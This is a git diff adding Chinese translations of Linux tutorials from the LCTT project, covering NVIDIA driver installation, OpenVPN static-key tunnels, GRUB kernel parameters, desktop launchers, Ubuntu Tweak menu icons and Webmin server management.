Driver in Ubuntu 13.10.md @@ -0,0 +1,54 @@ +如何在Ubuntu13.10中安装最新版的NVIDIA 331.20驱动 +=== + +**有时候安装新版本的NVIDIA驱动会遇到一些麻烦,尤其是当你不习惯Linux系统中的运作方式时。** + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Install-the-Latest-NVIDIA-331-20-Drivers-in-Ubuntu-13-10-399182-2.jpg) + +这时候,这篇教程就能起到作用了,它能帮助普通用户从最新版的NVIDIA驱动331.20中获益。 + +在Ubuntu系统中有两种方法安装NVIDIA驱动,一种是简单方法,另一种是困难方法。简单方法也是最为直截了当的,但是需要你能够连接网络。这种方法也会把你带入PPA的美妙世界中去。 + +Ubuntu 13.10像它的前辈们一样,有一个很大的软件仓库可供使用,但是Canonical的开发者们由于种种考虑并不上传最新版的驱动。最重要的是他们不会冒险去上传一款未被证明其稳定性的软件。 + +幸运的是,我们有PPA可供使用,PPA中有最新版的驱动程序可供使用,而且里面的驱动会在官方放出新驱动一两天后就添加进去。只需在终端中敲入一下命令即可(当然你需要拥有root权限): + + sudo add-apt-repository ppa:xorg-edgers/ppa + sudo apt-get update + sudo apt-get install nvidia-331 + +假如你已经安装了一个旧版本的驱动,你需要用**sudo apt-get dist-upgrade**命令替换上面命令中的最后一条命令。 + +完成这些步骤之后重启你的电脑,新驱动就安装好了。在下一次NVIDIA更新驱动时,你只需更新系统就可以,无需添加PPA。 + +第二种方法有点复杂,但是你可以不用联网(你需要先把驱动下载下来,在安装的时候不再需要联网)。我们将使用64位版本的驱动最为例子讲解。 + +你必须按Ctrl+Alt+F1组合键进入真正的终端(译注:原文中为虚拟终端,但实际上按这个组合键进入的是真正的终端),然后使用用户名和密码登录。接下俩,你需要用cd命令进入你放置驱动的位置(例如Downloads目录)然后输入以下命令: + + sudo service lightdm stop + sudo chmod a+x NVIDIA-Linux-x86_64-331.20.run + sudo ./NVIDIA-Linux-x86_64-331.20.run + sudo reboot + +这样就搞定了。无论你选择使用什么方法,享受最新版的NVIDIA驱动吧。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Install-the-Latest-NVIDIA-331-20-Drivers-in-Ubuntu-13-10-399182.shtml + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]: +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: diff --git a/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md b/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md new file mode 100644 index 0000000000..344b7944bf --- /dev/null +++ b/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md @@ -0,0 +1,110 @@ +Linux上如何通过 OpenVPN 建立安全的远程连接【上】 +================================================================================ + +一直以来,我们在互联网上传输信息时,都谨慎地为这些信息加密,以防内容泄露出去,特别是在政府的干预下,为网络上每个字节都进行加密已经变得空前重要了。在这种情况下,OpenVPN 是保障网络信息安全的首选。今天我们就来学习一下如何架设 OpenVPN,使你可以在任何场所都能安全地访问家里的服务器。 + +VPN 小贴士:很多商业的 VPN 根本不值它们的售价,它们的安全性只比通过 SSL 保护的网站高一点点,原因是它们信任所有客户端。一个真正意义上的 VPN 用于在非可信网络上连接两个可信的终端。用户不能随便找一台 PC 机就能登录进 VPN,因为你的 VPN 如果能被一台受到病毒感染的 PC 登录进来,不管它们建立的连接有多么安全,都不是一件好事情。所以你必须在你的客户端和服务器端都要好好地配置一下 VPN 服务。 + +### OpenVPN 快速入门 ### + +你需要两台不同子网下的计算机,比如同一网络内一台使用网线的 PC 和一台使用无线 的 PC(或者是 VitualBox 虚拟机上的多台Linux客户机),并且你要知道它们的 IP 地址。这里分别为这两台计算机命名为“Studio”和“Shop”,都给它们装上 OpenVPN。OpenVPN 支持大多数 Linux 发行版,所以你只要用你手头的安装包管理软件就行。本文的包管理器是 Debian、Ubuntu 以及它们的衍生版中使用的 apt-get,下面安装 OpenVPN: + + $ sudo apt-get install openvpn openvpn-blacklist + +上面的步骤安装了 OpenVPN 服务器和一个用于检查外泄密钥黑名单的程序。请务必安装这个黑名单检查器,因为有一次 Debian 发布了一个[有漏洞的 OpenSSL 软件][1],这个软件里的随机码生成器会产生不可信任的密钥 —— 产生的这些密钥不是真正的随机数,它们可以被预测到。这件事发生在2008年,当时所有使用了这个软件的人都需要替换掉他们的弱密钥。即使5年过去了,我们还是建议使用这个黑名单检查器。 + +现在让我们测试下,先为两台 PC 创建一个不加密的通道。首先互 ping 一下确保它们能连通,然后让 OpenVPN 处于关闭状态(我们会在后面手动启动它): + + $ ps ax|grep openvpn + +如果 openvpn 这个后台进程存在,那就 kill 了它。这里假设“Studio”这台 PC 的 IP 是192.168.1.125,“Shop”的 IP 是192.168.2.125。 + +现在在“Studio”端开启一个未加密的连接到“Shop”端: + + $ sudo openvpn --remote 192.168.2.125 --dev tun0 --ifconfig 10.0.0.1 10.0.0.2 + +然后再开一个从“Shop”到“Studio”的连接: + + $ sudo openvpn --remote 192.168.1.125 --dev tun0 --ifconfig 10.0.0.2 10.0.0.1 + +连接成功的话你会看到类似下面的信息: + + Wed Oct 16 2013 ******* WARNING *******: all encryption and authentication + features disabled -- all data will be tunnelled as cleartext + Wed Oct 16 2013 TUN/TAP device tun0 opened + Wed Oct 16 2013 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0 + Wed Oct 16 2013 /sbin/ifconfig tun0 10.0.0.1 pointopoint 10.0.0.2 mtu 1500 + Wed Oct 16 2013 UDPv4 link local (bound): [undef] + Wed Oct 16 2013 UDPv4 link remote: [AF_INET]192.168.2.125:1194 + Wed Oct 16 2013 Peer Connection Initiated with [AF_INET]192.168.2.125:1194 + Wed Oct 16 2013 Initialization Sequence Completed + +看到“**Initialization Sequence Completed**”这句话时,说明你的操作成功了。这时你应该能够 ping 通两个隧道的 IP:ping 10.0.0.1 和 ping 10.0.0.2。当你建立隧道的时候,你无需在意你所在的网络,你可以为你的隧道指定任何 IP 地址。关闭隧道请按 Ctrl+c。 + +现在你可以利用这个隧道打开一个 SSH 会话了。图1显示了通过 VPN 隧道登录 SSH 的例子,这个图也显示了有趣的 Message of the Day(MOTD)图片,图片来自于博客《[在你的 Linux 系统上放一张奶牛的 MOTD 图片][2]》: + + $ ssh carla@10.0.0.2 + +![](http://www.linux.com/images/stories/41373/SSH-OpenVPN.jpg) + +*图1:成功通过 VPN 隧道建立 SSH 会话,并显示了有趣的 MOTD 图片* + +哼哼哈嘿,它运行得不错! + +### 加密后的 VPN 隧道 ### + +目前为止,我们玩得还不赖,但是没有使用加密技术,一切都毫无意义,所以我们需要建立一个简单的静态密钥配置文件。不像公钥基础设施(PKI),有着根认证中心、可撤消认证等安全措施,我们的加密机制没有那么强悍,但是对于仅仅想远程到家里的用户来说,已经足够了。OpenVPN 有提供创建静态密钥的命令,我们可以建立目录存储密钥、创建密钥,并将文件设为对属主只读模式: + + $ sudo mkdir /etc/openvpn/keys/ + $ sudo openvpn --genkey --secret /etc/openvpn/keys/static.key + $ sudo chmod 0400 /etc/openvpn/keys/static.key + +这是个明文密钥,你可以利用文本编辑器打开密钥文件读取到它,文件名可以随意,不一定非得叫“static.key”。将这个密钥拷到需要通信的两台电脑上,呵呵,这是对称加密,而不是公钥加密。 + +现在我们要在两台电脑上完成基本的配置。(在非类 Ubuntu 的系统中,OpenVPN 没有提供默认的配置文件,但是在 /usr/share/doc/openvpn/ 目录下会为你提供一个配置文件的样本。)在我的实验中,“Studio”是服务器端,“Shop”是一台笔记本电脑,用于登录到“Studio”中。我的服务器端的配置文件是 /etc/openvpn/studio.conf,它的配置信息如下: + + # config for Studio + dev tun + ifconfig 10.0.0.1 10.0.0.2 + secret /etc/openvpn/keys/static.key + +将配置文件设为只有拥有者有读写权限: + + $ sudo chmod 0600 /etc/openvpn/studio.conf + +客户端的配置文件内容类似,只是多了服务器端的 IP 地址: + + # config for Shop + dev tun + ifconfig 10.0.0.2 10.0.0.1 + secret /etc/openvpn/keys/static.key + remote 192.168.1.125 + +注意 ifconfig 那行的 IP 地址的顺序,本地的 IP 要放在远程的 IP 之前。现在启动服务器端的 OpenVPN,指定服务器端配置文件,客户端操作雷同: + + $ sudo openvpn /etc/openvpn/studio.conf + $ sudo openvpn /etc/openvpn/shop.conf + +成功建立连接后,你还会看到“**Initialization Sequence Completed**”这句话,但你不会再看到这句 WARNING(这句话会在你建立了未加密的隧道时出现): + + ******* WARNING *******: all encryption and authentication features disabled + +### 防火墙和动态 IP 地址 ### + +OpenVPN 本身是比较容易配置的,最麻烦的是处理防火墙和动态 IP 地址。防火墙种类众多,对于如何配置防火墙不拦截你的隧道,我把这个话题当作家庭作业留给你自己解决:P。OpenVPN 的端口是1194,你可以在防火墙上设置一个转发规则,用于将消息转发到你的目标服务器。 + +接下来处理另一件麻烦事:动态 IP 地址。[Dyn.com][3]可以提供一个廉价的方法,为你管理 ISP 分配给你的动态 IP,或者你也可以向你的 ISP 支付一笔费用,从而得到一个静态 IP。 + +至此,你可以宣告工作完成了,接下来的任务就是手动开启服务器端的 OpenVPN,让它一直运行在那里,等待你的登录。你可以将你的笔记本拿到外面,并随时随地随心所欲地连接到服务器。然而,关于 OpenVPN 的操作,我还有一些重要的知识点要讲,比如如何为 OpenVPN 设置开机启动,如何利用 Network Manager 自动建立连接,以及这篇 OpenVPN 教程中最重要的一块:如何访问你的远程服务器上的资源。请看下一篇。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/learn/tutorials/743590-secure-remote-networking-with-openvpn-on-linux + +译者:[bazz2](https://github.com/bazz2) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.debian.org/security/2008/dsa-1571 +[2]:http://www.linux.com/learn/tutorials/741573-put-a-talking-cow-in-your-linux-message-of-the-day +[3]:http://dyn.com/dns/ diff --git a/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md b/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md new file mode 100644 index 0000000000..6459a85547 --- /dev/null +++ b/published/201311/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md @@ -0,0 +1,94 @@ +Linux上如何通过 OpenVPN 建立安全的远程连接【下】 +================================================================================ + +欢迎你们回来继续看我们的 OpenVPN 系列的下篇。[上次][1]我们讲到如何让远端计算机(如笔记本电脑)[通过简单的加密隧道][1]登录到家里的服务器。今天我们接着讲进阶部分:比如设置 OpenVPN 开机启动,省得我们每次重启服务器的时候都要手动开启 OpenVPN 服务;比如使用 Network Manager 简化访问到远程服务器的过程。 + +### 整合到 Network Manager ### + +Network Manager 是一个不错的 OpenVPN 客户端;你只需要安装 network-manager-openvpn 这个插件。我们继续[上篇][1]使用的配置。打开 Network Manager 配置界面,进入“新建 VPN 连接”的窗口。这个界面布局在 KDE 和 GNOME 下面看起来有点不一样,但是大体的信息是一样的。开始的时候你需要选择 OpenVPN 作为你的 VPN 连接类型,就像图1所示;如果你没看到 OpenVPN 的选项,说明你没有安装好插件。(图1是一张 GNOME 下面的图片。) + +![](http://www.linux.com/images/stories/41373/figu-1-openvpn-nm.jpg) + +*图1:在 Network Manager 上新建 OpenVPN 客户端 * + +图2显示了配置主界面。从上到下分别为: + +- 连接名,随便取一个。 +- 远程服务器的网关。 +- 下拉菜单选择静态密钥(Static Key)。 +- 然后通过文件浏览器找到静态密钥文件。 +- 这个不是方向性的密钥,所以 Key Direction 这里设为 None。 +- 远程 IP 和 本地 IP 是我们在上一部分已经设置好的虚拟 OpenVPN 地址,可分别通过 /etc/openvpn/studio.conf 和 /etc/openvpn/shop.conf 文件获得。 +- 我们无需设置密码,所以“Show passwords”复选框为空。 +- 这个VPN连接是“所有人都可用”,还是只有你可用,随你喜欢。 + +![](http://www.linux.com/images/stories/41373/fig-2-openvpn-nm-1.jpg) + +*图2:Network Manager 配置 OpenVPN 客户端主界面* + +保存然后就可以使用 Network Manager 建立连接了。So easy,妈妈再也不用担心我的学习了!看见图3了么?你现在只需点击一下高亮的按钮就可以连接到你的家庭服务器,或从你的家庭服务器中断开连接。 + +![](http://www.linux.com/images/stories/41373/fig-3-openvpn-nm-3.jpg) + +### OpenVPN 开机启动 ### + +手动开启 OpenVPN 很简单,但是你也许想要更简单,让它能够在服务器重启的时候跟着自动启动。在 Debian/Ubuntu 以及绝大部分发行版中,当你安装完 OpenVPN 的时候就被设置为开机启动的。所以你需要重启系统,或者按下面的方法启动后台进程: + + $ sudo /etc/init.d/openvpn start + $ sudo service openvpn start + +第一个命令是比较老的启动方法,第二个命令使用了“service”命令。“service”命令第一次出现在 Red Hat 发行版中,如果你的发行版中没有安装这个命令,你需要从你的软件源里面去找到它。 + +Ubuntu 使用 Upstart 管理服务进程,Debain 使用的老的 SysV,而 Fedora 使用“systemd”。如果你在 /etc/openvpn 目录下配置了多个 OpenVPN 的服务,你可以通过“systemd”的命令启动你要的服务: + + # systemctl start openvpn@studio.service + +这里的“studio.service”与我们在上篇讲过的例子中的 /etc/openvpn/studio.conf 配置的服务相对应。用这些方法启动的后台进程,在系统重启后会失效,所以这些方法都和上篇讲的启动方式一样,仅能使 OpenVPN 运行一次。你可以将启动 OpenVPN 进程的任务交给 chkconfig: + + # service openvpn start + # chkconfig openvpn on + +上面列出的是启动 OpenVPN 后台进程最常见的方式,这个命令启动了一整个进程,而不是对 /etc/openvpn/下面的所有 .conf 配置文件都维护一个进程。systemd 支持chkconfig 以及 service 命令,所以上面两条命令能够正常工作。然而使用 systemd 的发行版非常多,如果你的工作环境和我们的不一样,请通过发表评论的方式通知我们。 + +### 强化你的连接 ### + +OpenVPN 的健壮性足够维持一条持久的连接,即使服务宕掉。而你可以令这个连接变得更加稳定,只需要在服务器端和客户端的 .conf 文件内添加下面两条属性: + + persist-tun + persist-key + +这两条属性对于那些笔记本电脑用户来说非常有用,他们的电脑会因为电源保护或需要移来移去而经常断开 OpenVPN 的连接。 + +### 现在,该做些什么? ### + +你已经完成了所有设置,并且你的服务工作正常,你接下来能用这个干点什么?如果你以前一直用 OpenSSH 来远程你的服务器,你会有这样的思维定势:你可以利用 OpenVPN 登录到远程机器,然后跑上面的应用。你要是那样做,就太浪费 OpenVPN 了。你可以将 OpenVPN 想像成是一条虚拟的以太网电缆接到你的服务器上或者是你的局域网内,这条电缆还包着厚厚的加密保护。你可以在它提供的隧道上跑任何加密的或不加密的服务,并且只需要在防火墙上开一个端口。 + +所以你可以利用 OpenVPN 隧道来建立 SSH 连接,然后远程到服务器,然后在服务器上跑应用。你可以访问到网络资源,比如文件共享和 Web 应用。你可以强制让你的电脑通过 VPN 隧道访问到网络,但我认为你会想要同时能够使用本地网络和 VPN 网络的。 + +所以,在你的笔记本上你可以上网冲浪,使用 SSH,做你想做的任何事,上你想上的**任何**网络。当你想利用 OpenVPN 隧道做一些事情时,你只需要打开它,然后输入 IP 地址: + + $ ssh carla@10.0.0.1 + +对于一些 Web 服务,操作也简单:让你的 Web 浏览器访问到 OpenVPN 的 IP 地址然后登录进去。举个例子,我在我家的服务器上跑了多个 Web 服务做测试,我可以通过[http://10.0.0.1/drupal][2]访问 Drupal,可以通过[http://10.0.0.1/owncloud][3]访问 OwnCloud。我电脑上有优秀的图形界面 FTP 客户端 gFTP,所以只需要填入 IP 地址、用户名、密码就能访问到 FTP 服务器,或者使用下面的命令: + + $ ftp 10.0.0.1 21 + +你可以远程管理你的 MySQL 数据库,输入帐号密码: + + $ mysql -h 10.0.0.1 -u admin -p + +所以最重要的是你要知道怎么去配置一个你想要玩的功能。 + +很显然,当我们使用名称服务(name service)时,会比直接使用 IP 地址更方便。所以某一天我们可以学学如何在 OpenVPN 上布署一个名称服务。现在,先享受一下 OpenVPN 带给你的乐趣吧。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/learn/tutorials/745233-how-to-set-up-secure-remote-networking-with-openvpn-on-linux-part-2 + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-2286-1.html +[2]:http://10.0.0.1/drupal +[3]:http://10.0.0.1/owncloud diff --git a/published/201311/How to add icons to menus in Ubuntu 13.10.md b/published/201311/How to add icons to menus in Ubuntu 13.10.md new file mode 100644 index 0000000000..3fd685e02a --- /dev/null +++ b/published/201311/How to add icons to menus in Ubuntu 13.10.md @@ -0,0 +1,39 @@ +如何在Ubuntu 13.10中给菜单添加图标 +================================================================================ + +通常,使用Ubuntu 13.10的用户会会对默认的程序、偏好和功能进行优化,才能得到更好的用户体验。 + +Ubuntu的用户体验是可以优化调整的,因此用户可以通过一些工具来修改和调整那些默认设置,比如使用Ubuntu Tweak。 + +默认情况下,Ubuntu禁用了内部菜单的图标,即,右键点击桌面打开右键菜单时,菜单中只包含文本而且没有相应的图标。 + +不过,在Ubuntu 13.10的菜单中添加图标是很简单的: + +- 安装Ubuntu Tweak + + sudo add-apt-repository ppa:tualatrix/ppa + + sudo apt-get update + + sudo apt-get install ubuntu-tweak + +- 启动Ubuntu Tweak,并导航到`Tweaks-->Miscellaneous` +- 选中 `Menus have icons` + +**结果**:现在右键点击桌面,图标就会在菜单中显示, 图标显示也会在其他软件的右键菜单出现(例如, Nautilus, Firefox, Gedit中的菜单等等)。 + +![](http://iloveubuntu.net/pictures_me/menu%20icon%203%20ubuntu%2013.10.png) + +![](http://iloveubuntu.net/pictures_me/menu%20icons%20ubuntu%2013.10%201.png) + +![](http://iloveubuntu.net/pictures_me/menu%20icons%20ubuntu%2013.10%202.png) + +这样在最常用的右键菜单中加上新增的图标,菜单会更加清晰和美丽,特别是使用单色图标菜单显示图标时。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/how-add-icons-menus-ubuntu-1310 + +译者:[Yu-Fei](http://blog.csdn.net/u011459130) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201311/How to add kernel boot parameters via GRUB on Linux.md b/published/201311/How to add kernel boot parameters via GRUB on Linux.md new file mode 100644 index 0000000000..8b14d25a6d --- /dev/null +++ b/published/201311/How to add kernel boot parameters via GRUB on Linux.md @@ -0,0 +1,54 @@ +如何在linux上通过GRUB添加内核参数 +================================================================================ + +我们可以在linux内核启动时为其提供各种各样的参数。这些参数可以自定义内核默认的行为,或者通知内核关于硬件的配置信息。内核参数应在内核启动时通过引导装载程序,如GRUB或LILO传递给内核。 + +在本教程中,我将会描述**如何在linux上通过GRUB添加内核参数**。 + +如果你在使用GRUB引导装载程序,想修改或添加内核参数,你可以编辑GRUB配置文件。下面是针对特定发行版在GRUB的配置文件中添加内核启动参数的方法。 + +### 在Debian或Ubuntu上添加内核启动参数### + +在基于Debian的系统上,如果你想在系统启动时添加内核参数,你可以编辑 /etc/default/grub 目录下的GRUB配置模板。在 GRUB\_CMDLINE\_LINUX\_DEFAULT 变量中以 “name=value” 的格式添加内核参数。 + + $ sudo -e /etc/default/grub + +> GRUB\_CMDLINE\_LINUX\_DEFAULT="...... name=value" + +然后运行下面的命令来生成一个GRUB的配置文件。 + + $ sudo update-grub + +如果无法找到 update-grub 命令,你可以通过下面的命令安装它。 + + $ sudo apt-get install grub2-common + +### 在Fedora上添加内核启动参数 ### + +在Fedora上,想要在启动时添加内核参数,你可以编辑 /etc/default/grub目录下的 GRUB 配置模板。在 GRUB\_CMDLINE\_LINUX 变量中以 “name=value” 的格式添加内核参数。 + + $ sudo -e /etc/default/grub + +> GRUB\_CMDLINE\_LINUX="...... name=value" + +然后运行下面的命令生成 GRUB2 配置文件。 + + $ sudo grub2-mkconfig -o /boot/grub2/grub.cfg + +### 在CentOS上添加内核启动参数 ### + +在CentOS上,想要在启动时添加内核参数,你可以直接编辑GRUB配置文件 /boot/grub/grub.conf。在配置文件中,找到描述默认使用的Linux映像的条目。文件中最顶行的字符串 “default=N”会指示哪一个条目是默认的映像。 + +[![](http://farm8.staticflickr.com/7429/10618657834_8082c2806b_z.jpg)][1] + +找到默认的映像条目后,在以 “kernel /vmlinuz-” 开头的那一段的结尾附加上内核参数。参数的格式为 “name=value” 。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/add-kernel-boot-parameters-via-grub-linux.html + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.flickr.com/photos/xmodulo/10618657834/ diff --git a/translated/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md b/published/201311/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md similarity index 90% rename from translated/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md rename to published/201311/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md index 76aef9c239..4883e64945 100644 --- a/translated/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md +++ b/published/201311/How to convert DOCX, DOC, RTF, ODT to PDF with LibreOffice.md @@ -1,6 +1,4 @@ - - -如何使用LibreOffice把DOCX, DOC, RTF, ODT 转换成PDF +如何使用LibreOffice把DOCX,DOC,RTF,ODT转换成PDF ================================================================================ 在学校、公司、政府,或者是在网页传播的书籍、文档、报告、教程等等文档均被封装成各种格式。 @@ -28,7 +26,7 @@ via: http://iloveubuntu.net/how-convert-docx-doc-rtf-odt-pdf-libreoffice -译者:[NearTan](https://github.com/NearTan) 校对:[校对者ID](https://github.com/校对者ID) +译者:[NearTan](https://github.com/NearTan) 校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/How to create desktop shortcut or launcher on Linux.md b/published/201311/How to create desktop shortcut or launcher on Linux.md new file mode 100644 index 0000000000..31c669f906 --- /dev/null +++ b/published/201311/How to create desktop shortcut or launcher on Linux.md @@ -0,0 +1,80 @@ +如何在Linux的桌面上创建快捷方式或启动器 +=== +如果在Linux桌面系统中你经常使用一个程序,你可能想去创建一个“桌面快捷方式”,以便于你在桌面只要点击一下快捷方式就可以启动它。虽然不少带有图形界面的程序会在安装时自动在桌面上创建快捷方式,还有一些图形界面程序或者命令行程序可能需要你手动创建快捷方式。 + +在这个教程里,我将告诉你**如何在不同的Linux桌面上添加桌面快捷方式**。(译注:其实除了作者所述的这些方法外,各种桌面上也还有更简便的方法,大家可以评论分享自己的经验) + +一个桌面快捷方式是由内含该APP元信息(例如,app的名字,启动命令或者图标位置等)的.desktop文件所表示的。桌面快捷方式文件放置于**/usr/share/applications**或者**~/.local/share/applications**处。前一个目录存储的桌面快捷方式每个用户都可以使用,而后一个目录则含有仅仅为特定用户创建的快捷方式。 + +###使用命令行创建桌面快捷方式 + +要为特定程序或命令创建桌面快捷方式,你可以使用任意文本编辑器创建一个.desktop文件,然后把它放到**/usr/share/applications**或者**~/.local/share/applications**处。一个典型的.desktop文件如下图所示。 + + [Desktop Entry] + Encoding=UTF-8 + Version=1.0 #version of an app. + Name[en_US]=yEd #name of an app. + GenericName=GUI Port Scanner #longer name of an app. + Exec=java -jar /opt/yed-3.11.1/yed.jar #command used to launch an app. + Terminal=false #whether an app requires to be run in a terminal + Icon[en_US]=/opt/yed-3.11.1/icons/yicon32.png #location of icon file. + Type=Application #type + Categories=Application;Network;Security; #categories in which this app should be listed. + Comment[en_US]=yEd Graph Editor #comment which appears as a tooltip. + +除了手动创建.desktop文件之外,依据你的系统所采用的桌面环境的不同有不同的创建应用快捷方式的方法,接下来的教程我将为你讲解。 + +###在GNOME桌面下创建快捷方式 + +在GNOME桌面环境下,你可以使用gnome-desktop-item-edit轻松创建创建一个桌面快捷方式。 + + $ gonme-desktop-item-edit ~/.local/share/applications --create-new + +在这个例子中,gnome-desktop-item-edit会在目录~/.local/share/applications中自动创建一个桌面启动器文件。若是想自定义快捷方式图标或者其它信息,你可以手动编辑.desktop文件。 + +如果在你的系统上,gnome-desktop-item-edit不可用(例如,在Ubuntu上),你可以依照下面方式安装: + + $ sudo apt-get install --no-install-recommends gnome-panel + +###在KDE桌面创建快捷方式 + +kickoff是KDE桌面默认的应用启动器。可以直接在kickoff里添加新的应用启动快捷方式。 + +首先右击位于你桌面左下角处的kickoff图标,然后选择菜单“编辑应用”。 + +[![](http://farm3.staticflickr.com/2839/10848506344_7949638fe0.jpg)][1] + +在你要创建快捷方式的合适分类处(例如, "Utilities")右击,点击位于顶部的“新条目”按钮,键入应用的名字。 + +[![](http://farm8.staticflickr.com/7459/10848418496_ac6de897fe_z.jpg)][2] + +最后,填上使用快捷方式启动app时所需的元信息即可。 + +[![](http://farm8.staticflickr.com/7347/10848506284_18c8d9234d_z.jpg)][3] + +###在xfce桌面上创建快捷方式 + +假如你使用xfce桌面,在桌面空白处右击,选择“创建启动器”按钮。然后填上快捷方式的详细信息就可以了。 + +###在Cinnamon桌面上创建快捷方式 + +假如使用的是Linux Mint的Cinnamon桌面,你可以在桌面空白处右击鼠标,选择菜单“创建启动器”而创建一个应用启动器。 + +###在LXDE桌面上创建快捷方式 + +在LXDE桌面,你只需在桌面空白处右击一下鼠标,然后选择“创建新快捷方式”就可以咯。 + +[![](http://farm4.staticflickr.com/3725/10848922593_441ed98174.jpg)][4] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/create-desktop-shortcut-launcher-linux.html + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.flickr.com/photos/xmodulo/10848506344/ +[2]:http://www.flickr.com/photos/xmodulo/10848418496/ +[3]:http://www.flickr.com/photos/xmodulo/10848506284/ +[4]:http://www.flickr.com/photos/xmodulo/10848922593/ diff --git a/published/201311/How to manage Linux server with GUI.md b/published/201311/How to manage Linux server with GUI.md new file mode 100644 index 0000000000..49dc9ffbe4 --- /dev/null +++ b/published/201311/How to manage Linux server with GUI.md @@ -0,0 +1,87 @@ +如何使用图形界面Webmin管理linux服务器 +================================================================================ +一台典型的linux服务器运行命令行环境中,并已经包括了一些用于安装和配置各种没有界面的服务的基本工具。和一些成熟的具有图形界面的桌面软件相比,就安全性、资源消费和速度来说,仅需要少量的设置无疑是一个优点。 + +如果你习惯了使用基于图形界面的软件环境,你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如`GNOME`、`KDE`等,与它们提供的功能相比,其所占用的系统资源负担是很不值得的,而且还不够安全,因为越多的代码越会带来安全弱点。 + +另外一个成熟的桌面GUI的可选替代是使用 **基于Web的管理工具**。现在已经有许多基于Web的配置管理工具,如 [Webmin][1]、[ISPconfig][2]、[Zentyal][3]等。 + +在这篇教程中, 我会讲述 **怎样利用基于Web的界面工具来管理和配置Linux服务器**。 + +Webmin 是一个用`Perl`语言写的轻量级 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器, 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的,你可以选择性加载[模块][12]来扩展其功能。 + +### Linux服务器上安装Webmin ### + +在 Ubuntu 或 Debian 系统中安装Webmin, 你可以使用如下命令。 + + $ sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python + $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb + $ sudo dpkg -i webmin_1.660_all.deb + +在CentOS 或 RHEL 系统中安装Webmin, 使用如下命令: + + $ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb + $ sudo rpm -U webmin-1.660-1.noarch.rpm + +### 使用 Webmin ### + +安装好Webmin之后,你可以通过在浏览器中输入 https://\<主机的IP地址\>:10000 来使用。 如果你开启了防火墙, 请确保TCP端口 10000 没有被拦截。 + +同时, 请注意你应该使用 HTTPS, 而不是 HTTP。 否则, 会出现重定向错误。 Webmin 默认使用其自己生成的的SSL验证模式。 + +一旦你进入了Webmin登录页面, 你可以使用root身份登录 (当然需要输入root账户密码)或者使用具有root权限的任何用户账户登录。 登录成功后, 你可以看到如下Linux服务器的状态信息。 + +[![](http://farm4.staticflickr.com/3803/10937800943_e1ac465c3f_z.jpg)][4] + +### Webmin 的特点 ### + +Webmin 一个引以为豪的优点就是它几乎能够配置任何Linux服务器所支持的配置。接下来我来介绍,让你们大体了解它的一些重要功能。 + +设置引导时自动启动的服务, 同时显示他们相关配置信息。 + +[![](http://farm8.staticflickr.com/7437/10937589506_7abcaac10e_z.jpg)][5] + +实时监控服务器状态和其他服务, 同时配置定时监控及邮件提醒。 你也可以监控一系列服务器守护进程如 NFS、MySQL、 BIND DNS、Squid proxy、Apache Web server等, 或者监控系统资源如磁盘存储情况、内存使用和网络占用等。 + +[![](http://farm6.staticflickr.com/5521/10937589676_a64d4eee57_z.jpg)][6] + +配置 iptables-based firewall。 + +[![](http://farm4.staticflickr.com/3679/10937801173_61cd4b11a3_z.jpg)][7] + +配置本地路由表和网关。 + +[![](http://farm6.staticflickr.com/5545/10937531925_a5d77384ac_z.jpg)][8] + +挂载和配置文件系统。 + +[![](http://farm4.staticflickr.com/3710/10937589556_9fd192cdb9_z.jpg)][9] + 